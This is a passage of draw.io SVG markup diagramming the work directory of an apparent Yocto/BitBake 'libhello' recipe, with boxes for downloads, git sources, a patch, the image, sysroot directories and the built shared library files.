stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5528.02 2155.53 L 5514.12 2127.48 L 5528.09 2134.53 L 5542.12 2127.58 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5728.57 2000.57 L 6988 2000.57 Q 7028 2000.57 7028 2040.57 L 7028 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7028 2155.53 L 7014 2127.53 L 7028 2134.53 L 7042 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5728.57 2000.57 L 7676 2000.57 Q 7716 2000.57 7715.99 2040.57 L 7715.97 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7715.96 2155.53 L 7701.97 2127.52 L 7715.97 2134.53 L 7729.97 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5728.57 2000.57 L 8313.71 2000.57 Q 8353.71 2000.57 8353.79 2040.57 L 8353.95 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 8353.99 2155.53 L 8339.94 2127.55 L 8353.95 2134.53 L 8367.94 2127.5 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5728.57 2000.57 L 9068 2000.57 Q 9108 2000.57 9108 2040.57 L 9108 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9108 2155.53 L 9094 2127.53 L 9108 2134.53 L 9122 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5688.57 1780 L 5688.57 1960.57 Q 5688.57 2000.57 5728.57 2000.57 L 9948 2000.57 Q 9988 2000.57 9988 2040.57 L 9988 2134.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9988 2155.53 L 9974 2127.53 L 9988 2134.53 L 10002 2127.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5548" y="1620" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 425px; margin-left: 1388px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">0.1-r0</font></div></div></div></foreignObject><text x="1422" y="429" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">0.1-r0</text></switch></g><path d="M 1622.29 520 L 1622.29 560.57 Q 1622.29 600.57 1622.29 560.57 L 1622.29 540.57 Q 1622.29 520.57 1622.29 560.29 L 1622.29 600" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1762 440 Q 2215.43 440.57 2215.04 205.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 2215.01 184.47 L 2224.39 212.46 L 2215.04 205.47 L 2205.72 212.49 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="1482" y="360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 110px; margin-left: 371px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">downloads</font></div></div></div></foreignObject><text x="405" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">downloads</text></switch></g><path d="M 1622 760 L 1622.14 800.57 Q 1622.29 840.57 1622.29 800.57 L 1622.29 780.57 Q 1622.29 760.57 1622.29 800.29 L 1622.29 840" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><rect x="1482" y="600" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 170px; margin-left: 371px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">git2</font></div></div></div></foreignObject><text x="405" y="174" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">git2</text></switch></g><path d="M 2082 1160 L 2628 1160.53 Q 2668 1160.57 2668 1200.57 L 2668 2200.57 Q 2668 2240.57 2628 2240.41 L 2568.42 2240.16" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2541.42 2240.05 L 2577.49 2222.2 L 2568.42 2240.16 L 2577.34 2258.2 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="1162" y="880" width="920" height="160" rx="24" ry="24" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 228px; height: 1px; padding-top: 240px; margin-left: 291px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">github.com.&lt;username&gt;.sayhello</div></div></div></foreignObject><text x="405" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">github.com.&lt;username&gt;.sayhello</text></switch></g><path d="M 2082 960 L 6628 960.57 Q 6668 960.57 6668 1000.57 L 6668 2200.57 Q 6668 2240.57 6708 2240.48 L 6887.58 2240.09" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 6914.58 2240.03 L 6878.62 2258.11 L 6887.58 2240.09 L 6878.54 2222.11 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="1162" y="1080" width="920" height="160" rx="24" ry="24" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 228px; height: 1px; padding-top: 290px; margin-left: 291px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">github.com.&lt;username&gt;.libhello</div></div></div></foreignObject><text x="405" y="294" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">github.com.&lt;username&gt;.libhello</text></switch></g><path d="M 2428 2320 Q 2428 2320 2428 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2428 2635.53 L 2414 2607.53 L 2428 2614.53 L 2442 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="2328" y="2160" width="200" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 48px; height: 1px; padding-top: 560px; margin-left: 583px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">git</font></div></div></div></foreignObject><text x="607" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">git</text></switch></g><rect x="2212" y="2720" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 690px; margin-left: 554px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Makefile</div></div></div></foreignObject><text x="610" y="694" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">Makefile</text></switch></g><path d="M 2212 2880.57 L 2117.14 2880.57 Q 2077.14 2880.57 2077.14 2840.57 L 2077.14 2714.86 Q 2077.14 2674.86 2037.14 2674.9 L 1966.47 2674.97" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 1945.47 2675 L 1973.46 2665.63 L 1966.47 2674.97 L 1973.48 2684.3 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="2212" y="2840" width="456" height="80" rx="12" ry="12" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 720px; margin-left: 554px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">LICENSE</div></div></div></foreignObject><text x="610" y="724" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">LICENSE</text></switch></g><path d="M 2212 3000 Q 2028 3000.57 2028 3060.57 Q 2028 3120.57 2171.58 3120.13" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2198.58 3120.04 L 2162.62 3132.15 L 2171.58 3120.13 L 2162.55 3108.15 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="2212" y="2960" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 750px; margin-left: 554px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">fix.patch</div></div></div></foreignObject><text x="610" y="754" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">fix.patch</text></switch></g><path d="M 2214.74 3151.44 Q 1988 3151.43 1988 3278.29 Q 1988 3405.14 2179.58 3405.02" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 2206.58 3405.01 L 2170.6 3423.03 L 2179.58 3405.02 L 2170.57 3387.03 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="2212" y="3080" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 780px; margin-left: 554px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">hellolib.c</div></div></div></foreignObject><text x="610" y="784" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">hellolib.c</text></switch></g><rect x="1896" y="2160" width="200" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 48px; height: 1px; padding-top: 560px; margin-left: 475px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">temp</font></div></div></div></foreignObject><text x="499" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">temp</text></switch></g><path d="M 4308 2320 L 4308 2640" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><rect x="4068" y="2160" width="480" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 560px; margin-left: 1018px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">sysroot-destdir</font></div></div></div></foreignObject><text x="1077" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sysroot-destdir</text></switch></g><path d="M 5528 2320 L 5528 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5528 2635.53 L 5518.67 2607.53 L 5528 2614.53 L 5537.33 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5308" y="2160" width="440" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 560px; margin-left: 1328px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">recipe-sysroot</font></div></div></div></foreignObject><text x="1382" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">recipe-sysroot</text></switch></g><path d="M 3116 2320 L 3116 2694.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3116 2715.53 L 3106.67 2687.53 L 3116 2694.53 L 3125.33 2687.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="2989.96" y="2160" width="252" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 560px; margin-left: 748px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">image</font></div></div></div></foreignObject><text x="779" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">image</text></switch></g><path d="M 3116 2880 L 3116 2920.57 Q 3116 2960.57 3115.99 2987.55 L 3115.99 3014.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3115.98 3035.53 L 3106.65 3007.53 L 3115.99 3014.53 L 3125.32 3007.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 3116 2880 Q 3116 2960.57 3354.86 2960.57 Q 3593.71 2960.57 3593.91 3014.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3593.98 3035.53 L 3584.55 3007.56 L 3593.91 3014.53 L 3603.22 3007.49 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="3029" y="2720" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 700px; margin-left: 758px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">usr</font></div></div></div></foreignObject><text x="779" y="704" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">usr</text></switch></g><path d="M 3115.98 3200 L 3116 3294.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3116 3315.53 L 3106.66 3287.53 L 3116 3294.53 L 3125.33 3287.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="3008.48" y="3040" width="215" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 52px; height: 1px; padding-top: 780px; margin-left: 753px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">include</font></div></div></div></foreignObject><text x="779" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">include</text></switch></g><path d="M 3593.71 3200 L 3593.71 3240.57 Q 3593.71 3280.57 3593.76 3287.55 L 3593.82 3294.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3593.97 3315.53 L 3579.77 3287.63 L 3593.82 3294.53 L 3607.76 3287.43 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="3507" y="3040" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 780px; margin-left: 878px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">lib</font></div></div></div></foreignObject><text x="899" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">lib</text></switch></g><rect x="2956" y="3320" width="320" height="100" rx="15" ry="15" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 78px; height: 1px; padding-top: 843px; margin-left: 740px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">hellolib.h</div></div></div></foreignObject><text x="779" y="846" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">hellolib.h</text></switch></g><rect x="3348" y="3350" width="480" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 848px; margin-left: 838px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">libhello.so.1</div></div></div></foreignObject><text x="897" y="851" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello.so.1</text></switch></g><rect x="3348" y="3450" width="480" height="100" rx="15" ry="15" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 875px; margin-left: 838px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">libhello.so.1.0</div></div></div></foreignObject><text x="897" y="879" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello.so.1.0</text></switch></g><rect x="3320" y="3320" width="548" height="250" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 4428 3600 Q 4428 3760.57 4978.29 3760.57 Q 5528.57 3760.57 5528.14 3640.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5528.05 3613.42 L 5546.18 3649.35 L 5528.14 3640.42 L 5510.18 3649.48 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="4068" y="2640" width="480" height="960" rx="72" ry="72" fill="#eeeeee" stroke="#36393d" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" 